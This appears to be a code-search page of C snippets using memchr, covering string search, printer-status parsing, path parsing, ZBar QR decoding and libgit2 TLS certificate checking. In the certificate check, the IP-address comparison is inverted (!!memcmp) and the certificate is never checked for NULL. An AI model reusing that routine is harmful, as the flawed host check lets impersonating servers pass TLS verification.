  /* Significance of 12: 1 (initial offset) + 10 (skip loop) + 1 (md2). */
  if (size > 12 * len)
    /* 11 is not a bug, the initial offset happens only once. */
    for (ep = text + size - 11 * len;;)
      {
	while (tp <= ep)
	  {
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	    if (d == 0)
	      goto found;
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	    if (d == 0)
	      goto found;
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	    if (d == 0)
	      goto found;
	    d = d1[U(tp[-1])], tp += d;
	    d = d1[U(tp[-1])], tp += d;
	  }
	break;
      found:
	if (U(tp[-2]) == gc)
	  {
	    for (i = 3; i <= len && U(tp[-i]) == U(sp[-i]); ++i)
	      ;
	    if (i > len)
	      return tp - len - text;
	  }
	tp += md2;
      }

  /* Now we have only a few characters left to search.  We
     carefully avoid ever producing an out-of-bounds pointer. */
  ep = text + size;
  d = d1[U(tp[-1])];
  while (d <= ep - tp)
    {
      d = d1[U((tp += d)[-1])];
      if (d != 0)
	continue;
      if (U(tp[-2]) == gc)
	{
	  for (i = 3; i <= len && U(tp[-i]) == U(sp[-i]); ++i)
	    ;
	  if (i > len)
	    return tp - len - text;
	}
      d = md2;
    }

  return -1;
}
コード例 #27
0
ファイル: printer.c プロジェクト: sipb/athena-svn-mirror
void printer_handle_input(struct serverstate *state, struct printer *printer)
{
  int count;
  char *q;
  const char *p;

  /* Read in a chunk of data from the printer server. */
  count = read(printer->s, printer->buf + printer->buflen,
	       sizeof(printer->buf) - printer->buflen);
  if (count < 0)
    {
      syslog(LOG_ERR, "printer_handle_input: printer %s error reading from "
	     "print server: %m", printer->name);
    }
  if (count <= 0)
    {
      printer->jobs = printer->jobs_counted;
      printer->up = printer->up_so_far;
      close(printer->s);
      printer->s = -1;
      printer->timer = timer_set_rel(60, printer_poll,
				     make_pargs(state, printer));
      syslog(LOG_DEBUG, "printer_handle_input: printer %s ending query, "
	     "jobs %d up %d", printer->name, printer->jobs, printer->up);
      return;
    }
  printer->buflen += count;
  syslog(LOG_DEBUG, "printer_handle_input: printer %s read %d bytes",
	 printer->name, count);

  /* Now look over any complete lines we have. */
  p = printer->buf;
  q = memchr(p, '\n', printer->buflen);
  while (q)
    {
      *q = 0;
      syslog(LOG_DEBUG, "printer_handle_input: printer %s line: %s",
	     printer->name, p);
      if (strncmp(p, "active ", 7) == 0 || isdigit((unsigned char)*p))
	printer->jobs_counted++;
      else if (strstr(p, "is down") || strstr(p, "Printer Error") ||
	       strstr(p, "ing disabled"))
	printer->up_so_far = 0;
      p = q + 1;
      q = memchr(p, '\n', printer->buf + printer->buflen - p);
    }

  /* Copy any leftover partial line back into printer->buf. */
  printer->buflen -= (p - printer->buf);
  memmove(printer->buf, p, printer->buflen);

  /* If the buffer is full and we don't have a complete line, toss the
   * buffer so we can make some forward progress.  We don't expect
   * this to happen when the print server is functioning correctly.
   */
  if (printer->buflen == sizeof(printer->buf))
    {
      syslog(LOG_NOTICE, "printer_handle_input: printer %s input buffer "
	     "full, flushing", printer->name);
      printer->buflen = 0;
    }
}
コード例 #28
0
ファイル: pathunix.c プロジェクト: Karlan88/xray
void
path_parse( 
	char	*file,
	PATHNAME *f )
{
	char *p, *q;
	char *end;
	
	memset( (char *)f, 0, sizeof( *f ) );

	/* Look for <grist> */

	if( file[0] == '<' && ( p = strchr( file, '>' ) ) )
	{
	    f->f_grist.ptr = file;
	    f->f_grist.len = p - file;
	    file = p + 1;
	}

	/* Look for dir/ */

	p = strrchr( file, '/' );

# if PATH_DELIM == '\\'
	/* On NT, look for dir\ as well */
	{
	    char *p1 = strrchr( file, '\\' );
	    p = p1 > p ? p1 : p;
	}
# endif

	if( p )
	{
	    f->f_dir.ptr = file;
	    f->f_dir.len = p - file;
	
	    /* Special case for / - dirname is /, not "" */

	    if( !f->f_dir.len )
		f->f_dir.len = 1;

# if PATH_DELIM == '\\'
	    /* Special case for D:/ - dirname is D:/, not "D:" */

	    if( f->f_dir.len == 2 && file[1] == ':' )
		f->f_dir.len = 3;
# endif

	    file = p + 1;
	}

	end = file + strlen( file );

	/* Look for (member) */

	if( ( p = strchr( file, '(' ) ) && end[-1] == ')' )
	{
	    f->f_member.ptr = p + 1;
	    f->f_member.len = end - p - 2;
	    end = p;
	} 

	/* Look for .suffix */
	/* This would be memrchr() */

	p = 0;
	q = file;

	while( q = (char *)memchr( q, '.', end - q ) )
	    p = q++;

	if( p )
	{
	    f->f_suffix.ptr = p;
	    f->f_suffix.len = end - p;
	    end = p;
	}

	/* Leaves base */

	f->f_base.ptr = file;
	f->f_base.len = end - file;
}
コード例 #29
0
ファイル: qrdectxt.c プロジェクト: 13122310958/ZBar
int qr_code_data_list_extract_text(const qr_code_data_list *_qrlist,
                                   zbar_image_scanner_t *iscn,
                                   zbar_image_t *img)
{
  iconv_t              sjis_cd;
  iconv_t              utf8_cd;
  iconv_t              latin1_cd;
  const qr_code_data  *qrdata;
  int                  nqrdata;
  unsigned char       *mark;
  int                  ntext;
  int                  i;
  qrdata=_qrlist->qrdata;
  nqrdata=_qrlist->nqrdata;
  mark=(unsigned char *)calloc(nqrdata,sizeof(*mark));
  ntext=0;
  /*This is the encoding the standard says is the default.*/
  latin1_cd=iconv_open("UTF-8","ISO8859-1");
  /*But this one is often used, as well.*/
  sjis_cd=iconv_open("UTF-8","SJIS");
  /*This is a trivial conversion just to check validity without extra code.*/
  utf8_cd=iconv_open("UTF-8","UTF-8");
  for(i=0;i<nqrdata;i++)if(!mark[i]){
    const qr_code_data       *qrdataj;
    const qr_code_data_entry *entry;
    iconv_t                   enc_list[3];
    iconv_t                   eci_cd;
    int                       sa[16];
    int                       sa_size;
    char                     *sa_text;
    size_t                    sa_ntext;
    size_t                    sa_ctext;
    int                       fnc1;
    int                       fnc1_2ai;
    int                       has_kanji;
    int                       eci;
    int                       err;
    int                       j;
    int                       k;
    zbar_symbol_t *syms = NULL, **sym = &syms;
    qr_point dir;
    int horiz;

    /*Step 0: Collect the other QR codes belonging to this S-A group.*/
    if(qrdata[i].sa_size){
      unsigned sa_parity;
      sa_size=qrdata[i].sa_size;
      sa_parity=qrdata[i].sa_parity;
      for(j=0;j<sa_size;j++)sa[j]=-1;
      for(j=i;j<nqrdata;j++)if(!mark[j]){
        /*TODO: We could also match version, ECC level, etc. if size and
           parity alone are too ambiguous.*/
        if(qrdata[j].sa_size==sa_size&&qrdata[j].sa_parity==sa_parity&&
         sa[qrdata[j].sa_index]<0){
          sa[qrdata[j].sa_index]=j;
          mark[j]=1;
        }
      }
      /*TODO: If the S-A group is complete, check the parity.*/
    }
    else{
      sa[0]=i;
      sa_size=1;
    }

    sa_ctext=0;
    fnc1=0;
    fnc1_2ai=0;
    has_kanji=0;
    /*Step 1: Detect FNC1 markers and estimate the required buffer size.*/
    for(j=0;j<sa_size;j++)if(sa[j]>=0){
      qrdataj=qrdata+sa[j];
      for(k=0;k<qrdataj->nentries;k++){
        int shift;
        entry=qrdataj->entries+k;
        shift=0;
        switch(entry->mode){
          /*FNC1 applies to the entire code and ignores subsequent markers.*/
          case QR_MODE_FNC1_1ST:{
            if(!fnc1)fnc1=MOD(ZBAR_MOD_GS1);
          }break;
          case QR_MODE_FNC1_2ND:{
            if(!fnc1){
              fnc1=MOD(ZBAR_MOD_AIM);
              fnc1_2ai=entry->payload.ai;
              sa_ctext+=2;
            }
          }break;
          /*We assume at most 4 UTF-8 bytes per input byte.
            I believe this is true for all the encodings we actually use.*/
          case QR_MODE_KANJI:has_kanji=1;
          case QR_MODE_BYTE:shift=2;
          default:{
            /*The remaining two modes are already valid UTF-8.*/
            if(QR_MODE_HAS_DATA(entry->mode)){
              sa_ctext+=entry->payload.data.len<<shift;
            }
          }break;
        }
      }
    }

    /*Step 2: Convert the entries.*/
    sa_text=(char *)malloc((sa_ctext+1)*sizeof(*sa_text));
    sa_ntext=0;
    /*Add the encoded Application Indicator for FNC1 in the second position.*/
    if(fnc1==MOD(ZBAR_MOD_AIM)){
      if(fnc1_2ai<100){
        /*The Application Indicator is a 2-digit number.*/
        sa_text[sa_ntext++]='0'+fnc1_2ai/10;
        sa_text[sa_ntext++]='0'+fnc1_2ai%10;
      }
      /*The Application Indicator is a single letter.
        We already checked that it lies in one of the ranges A...Z, a...z
         when we decoded it.*/
      else sa_text[sa_ntext++]=(char)(fnc1_2ai-100);
    }
    eci=-1;
    enc_list[0]=sjis_cd;
    enc_list[1]=latin1_cd;
    enc_list[2]=utf8_cd;
    eci_cd=(iconv_t)-1;
    err=0;
    for(j = 0; j < sa_size && !err; j++, sym = &(*sym)->next) {
      *sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0);
      (*sym)->datalen = sa_ntext;
      if(sa[j]<0){
        /* generic placeholder for unfinished results */
        (*sym)->type = ZBAR_PARTIAL;

        /*Skip all contiguous missing segments.*/
        for(j++;j<sa_size&&sa[j]<0;j++);
        /*If there aren't any more, stop.*/
        if(j>=sa_size)break;

        /* mark break in data */
        sa_text[sa_ntext++]='\0';
        (*sym)->datalen = sa_ntext;

        /* advance to next symbol */
        sym = &(*sym)->next;
        *sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0);
      }

      qrdataj=qrdata+sa[j];
      /* expose bounding box */
      sym_add_point(*sym, qrdataj->bbox[0][0], qrdataj->bbox[0][1]);
      sym_add_point(*sym, qrdataj->bbox[2][0], qrdataj->bbox[2][1]);
      sym_add_point(*sym, qrdataj->bbox[3][0], qrdataj->bbox[3][1]);
      sym_add_point(*sym, qrdataj->bbox[1][0], qrdataj->bbox[1][1]);

      /* approx symbol "up" direction */
      dir[0] = (qrdataj->bbox[0][0] - qrdataj->bbox[2][0] +
                qrdataj->bbox[1][0] - qrdataj->bbox[3][0]);
      dir[1] = (qrdataj->bbox[2][1] - qrdataj->bbox[0][1] +
                qrdataj->bbox[3][1] - qrdataj->bbox[1][1]);
      horiz = abs(dir[0]) > abs(dir[1]);
      (*sym)->orient = horiz + 2 * (dir[1 - horiz] < 0);

      for(k=0;k<qrdataj->nentries&&!err;k++){
        size_t              inleft;
        size_t              outleft;
        char               *in;
        char               *out;
        entry=qrdataj->entries+k;
        switch(entry->mode){
          case QR_MODE_NUM:{
            if(sa_ctext-sa_ntext>=(size_t)entry->payload.data.len){
              memcpy(sa_text+sa_ntext,entry->payload.data.buf,
               entry->payload.data.len*sizeof(*sa_text));
              sa_ntext+=entry->payload.data.len;
            }
            else err=1;
          }break;
          case QR_MODE_ALNUM:{
            char *p;
            in=(char *)entry->payload.data.buf;
            inleft=entry->payload.data.len;
            /*FNC1 uses '%' as an escape character.*/
            if(fnc1)for(;;){
              size_t plen;
              char   c;
              p=memchr(in,'%',inleft*sizeof(*in));
              if(p==NULL)break;
              plen=p-in;
              if(sa_ctext-sa_ntext<plen+1)break;
              memcpy(sa_text+sa_ntext,in,plen*sizeof(*in));
              sa_ntext+=plen;
              /*Two '%'s is a literal '%'*/
              if(plen+1<inleft&&p[1]=='%'){
                c='%';
                plen++;
                p++;
              }
              /*One '%' is the ASCII group separator.*/
              else c=0x1D;
              sa_text[sa_ntext++]=c;
              inleft-=plen+1;
              in=p+1;
            }
            else p=NULL;
            if(p!=NULL||sa_ctext-sa_ntext<inleft)err=1;
            else{
              memcpy(sa_text+sa_ntext,in,inleft*sizeof(*sa_text));
              sa_ntext+=inleft;
            }
          }break;
          /*TODO: This will not handle a multi-byte sequence split between
             multiple data blocks.
            Does such a thing occur?
            Is it allowed?
            It requires copying buffers around to handle correctly.*/
          case QR_MODE_BYTE:
          case QR_MODE_KANJI:{
            in=(char *)entry->payload.data.buf;
            inleft=entry->payload.data.len;
            out=sa_text+sa_ntext;
            outleft=sa_ctext-sa_ntext;
            /*If we have no specified encoding, attempt to auto-detect it.*/
            if(eci<0){
              int ei;
              /*If there was data encoded in kanji mode, assume it's SJIS.*/
              if(has_kanji)enc_list_mtf(enc_list,sjis_cd);
              /*Otherwise check for the UTF-8 BOM.
                UTF-8 is rarely specified with ECI, and few decoders
                 currently support doing so, so this is the best way for
                 encoders to reliably indicate it.*/
              else if(inleft>=3&&
               in[0]==(char)0xEF&&in[1]==(char)0xBB&&in[2]==(char)0xBF){
                in+=3;
                inleft-=3;
                /*Actually try converting (to check validity).*/
                err=utf8_cd==(iconv_t)-1||
                 iconv(utf8_cd,&in,&inleft,&out,&outleft)==(size_t)-1;
                if(!err){
                  sa_ntext=out-sa_text;
                  enc_list_mtf(enc_list,utf8_cd);
                  continue;
                }
                in=(char *)entry->payload.data.buf;
                inleft=entry->payload.data.len;
                out=sa_text+sa_ntext;
                outleft=sa_ctext-sa_ntext;
              }
              /*If the text is 8-bit clean, prefer UTF-8 over SJIS, since
                 SJIS will corrupt the backslashes used for DoCoMo formats.*/
              else if(text_is_ascii((unsigned char *)in,inleft)){
                enc_list_mtf(enc_list,utf8_cd);
              }
              /*Try our list of encodings.*/
              for(ei=0;ei<3;ei++)if(enc_list[ei]!=(iconv_t)-1){
                /*According to the 2005 version of the standard,
                   ISO/IEC 8859-1 (one hyphen) is supposed to be used, but
                   reality is not always so (and in the 2000 version of the
                   standard, it was JIS8/SJIS that was the default).
                  It's got an invalid range that is used often with SJIS
                   and UTF-8, though, which makes detection easier.
                  However, iconv() does not properly reject characters in
                   those ranges, since ISO-8859-1 (two hyphens) defines a
                   number of seldom-used control code characters there.
                  So if we see any of those characters, move this
                   conversion to the end of the list.*/
                if(ei<2&&enc_list[ei]==latin1_cd&&
                 !text_is_latin1((unsigned char *)in,inleft)){
                  int ej;
                  for(ej=ei+1;ej<3;ej++)enc_list[ej-1]=enc_list[ej];
                  enc_list[2]=latin1_cd;
                }
                err=iconv(enc_list[ei],&in,&inleft,&out,&outleft)==(size_t)-1;
                if(!err){
                  sa_ntext=out-sa_text;
                  enc_list_mtf(enc_list,enc_list[ei]);
                  break;
                }
                in=(char *)entry->payload.data.buf;
                inleft=entry->payload.data.len;
                out=sa_text+sa_ntext;
                outleft=sa_ctext-sa_ntext;
              }
            }
            /*We were actually given a character set; use it.
              The spec says that in this case, data should be treated as if it
               came from the given character set even when encoded in kanji
               mode.*/
            else{
              err=eci_cd==(iconv_t)-1||
               iconv(eci_cd,&in,&inleft,&out,&outleft)==(size_t)-1;
              if(!err)sa_ntext=out-sa_text;
            }
          }break;
          /*Check to see if a character set was specified.*/
          case QR_MODE_ECI:{
            const char *enc;
            char        buf[16];
            unsigned    cur_eci;
            cur_eci=entry->payload.eci;
            if(cur_eci<=QR_ECI_ISO8859_16&&cur_eci!=14){
              if(cur_eci!=QR_ECI_GLI0&&cur_eci!=QR_ECI_CP437){
                sprintf(buf,"ISO8859-%i",QR_MAXI(cur_eci,3)-2);
                enc=buf;
              }
              /*Note that CP437 requires an iconv compiled with
                 --enable-extra-encodings, and thus may not be available.*/
              else enc="CP437";
            }
            else if(cur_eci==QR_ECI_SJIS)enc="SJIS";
            else if(cur_eci==QR_ECI_UTF8)enc="UTF-8";
            /*Don't know what this ECI code specifies, but not an encoding that
               we recognize.*/
            else continue;
            eci=cur_eci;
            eci_cd=iconv_open("UTF-8",enc);
          }break;
          /*Silence stupid compiler warnings.*/
          default:break;
        }
      }
      /*If eci should be reset between codes, do so.*/
      if(eci<=QR_ECI_GLI1){
        eci=-1;
        if(eci_cd!=(iconv_t)-1)iconv_close(eci_cd);
      }
    }
    if(eci_cd!=(iconv_t)-1)iconv_close(eci_cd);
    if(!err){
      zbar_symbol_t *sa_sym;
      sa_text[sa_ntext++]='\0';
      if(sa_ctext+1>sa_ntext){
        sa_text=(char *)realloc(sa_text,sa_ntext*sizeof(*sa_text));
      }

      if(sa_size == 1)
          sa_sym = syms;
      else {
          /* cheap out w/axis aligned bbox for now */
          int xmin = img->width, xmax = -2;
          int ymin = img->height, ymax = -2;

          /* create "virtual" container symbol for composite result */
          sa_sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0);
          sa_sym->syms = _zbar_symbol_set_create();
          sa_sym->syms->head = syms;

          /* fixup data references */
          for(; syms; syms = syms->next) {
              int next;
              _zbar_symbol_refcnt(syms, 1);
              if(syms->type == ZBAR_PARTIAL)
                  sa_sym->type = ZBAR_PARTIAL;
              else
                  for(j = 0; j < syms->npts; j++) {
                      int u = syms->pts[j].x;
                      if(xmin >= u) xmin = u - 1;
                      if(xmax <= u) xmax = u + 1;
                      u = syms->pts[j].y;
                      if(ymin >= u) ymin = u - 1;
                      if(ymax <= u) ymax = u + 1;
                  }
              syms->data = sa_text + syms->datalen;
              next = (syms->next) ? syms->next->datalen : sa_ntext;
              assert(next > syms->datalen);
              syms->datalen = next - syms->datalen - 1;
          }
          if(xmax >= -1) {
              sym_add_point(sa_sym, xmin, ymin);
              sym_add_point(sa_sym, xmin, ymax);
              sym_add_point(sa_sym, xmax, ymax);
              sym_add_point(sa_sym, xmax, ymin);
          }
      }
      sa_sym->data = sa_text;
      sa_sym->data_alloc = sa_ntext;
      sa_sym->datalen = sa_ntext - 1;
      sa_sym->modifiers = fnc1;

      _zbar_image_scanner_add_sym(iscn, sa_sym);
    }
    else {
        _zbar_image_scanner_recycle_syms(iscn, syms);
        free(sa_text);
    }
  }
  if(utf8_cd!=(iconv_t)-1)iconv_close(utf8_cd);
  if(sjis_cd!=(iconv_t)-1)iconv_close(sjis_cd);
  if(latin1_cd!=(iconv_t)-1)iconv_close(latin1_cd);
  free(mark);
  return ntext;
}
コード例 #30
0
ファイル: netops.c プロジェクト: ileitch/meanie
static int verify_server_cert(git_transport *t, const char *host)
{
	X509 *cert;
	X509_NAME *peer_name;
	ASN1_STRING *str;
	unsigned char *peer_cn = NULL;
	int matched = -1, type = GEN_DNS;
	GENERAL_NAMES *alts;
	struct in6_addr addr6;
	struct in_addr addr4;
	void *addr;
	int i = -1,j;


	/* Try to parse the host as an IP address to see if it is */
	if (inet_pton(AF_INET, host, &addr4)) {
		type = GEN_IPADD;
		addr = &addr4;
	} else {
		if(inet_pton(AF_INET6, host, &addr6)) {
			type = GEN_IPADD;
			addr = &addr6;
		}
	}


	cert = SSL_get_peer_certificate(t->ssl.ssl);

	/* Check the alternative names */
	alts = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL);
	if (alts) {
		int num;

		num = sk_GENERAL_NAME_num(alts);
		for (i = 0; i < num && matched != 1; i++) {
			const GENERAL_NAME *gn = sk_GENERAL_NAME_value(alts, i);
			const char *name = (char *) ASN1_STRING_data(gn->d.ia5);
			size_t namelen = (size_t) ASN1_STRING_length(gn->d.ia5);

			/* Skip any names of a type we're not looking for */
			if (gn->type != type)
				continue;

			if (type == GEN_DNS) {
				/* If it contains embedded NULs, don't even try */
				if (memchr(name, '\0', namelen))
					continue;

				if (check_host_name(name, host) < 0)
					matched = 0;
				else
					matched = 1;
			} else if (type == GEN_IPADD) {
				/* Here name isn't so much a name but a binary representation of the IP */
				matched = !!memcmp(name, addr, namelen);
			}
		}
	}
	GENERAL_NAMES_free(alts);

	if (matched == 0)
		goto on_error;

	if (matched == 1)
		return 0;

	/* If no alternative names are available, check the common name */
	peer_name = X509_get_subject_name(cert);
	if (peer_name == NULL)
		goto on_error;

	if (peer_name) {
		/* Get the index of the last CN entry */
		while ((j = X509_NAME_get_index_by_NID(peer_name, NID_commonName, i)) >= 0)
			i = j;
	}

	if (i < 0)
		goto on_error;

	str = X509_NAME_ENTRY_get_data(X509_NAME_get_entry(peer_name, i));
	if (str == NULL)
		goto on_error;

	/* Work around a bug in OpenSSL whereby ASN1_STRING_to_UTF8 fails if it's already in utf-8 */
	if (ASN1_STRING_type(str) == V_ASN1_UTF8STRING) {
		int size = ASN1_STRING_length(str);

		if (size > 0) {
			peer_cn = OPENSSL_malloc(size + 1);
			GITERR_CHECK_ALLOC(peer_cn);
			memcpy(peer_cn, ASN1_STRING_data(str), size);
			peer_cn[size] = '\0';
		}
	} else {
		int size = ASN1_STRING_to_UTF8(&peer_cn, str);
		GITERR_CHECK_ALLOC(peer_cn);
		if (memchr(peer_cn, '\0', size))
			goto cert_fail;
	}

	if (check_host_name((char *)peer_cn, host) < 0)
		goto cert_fail;

	OPENSSL_free(peer_cn);

	return 0;

on_error:
	OPENSSL_free(peer_cn);
	return ssl_set_error(&t->ssl, 0);

cert_fail:
	OPENSSL_free(peer_cn);
	giterr_set(GITERR_SSL, "Certificate host name check failed");
	return -1;
}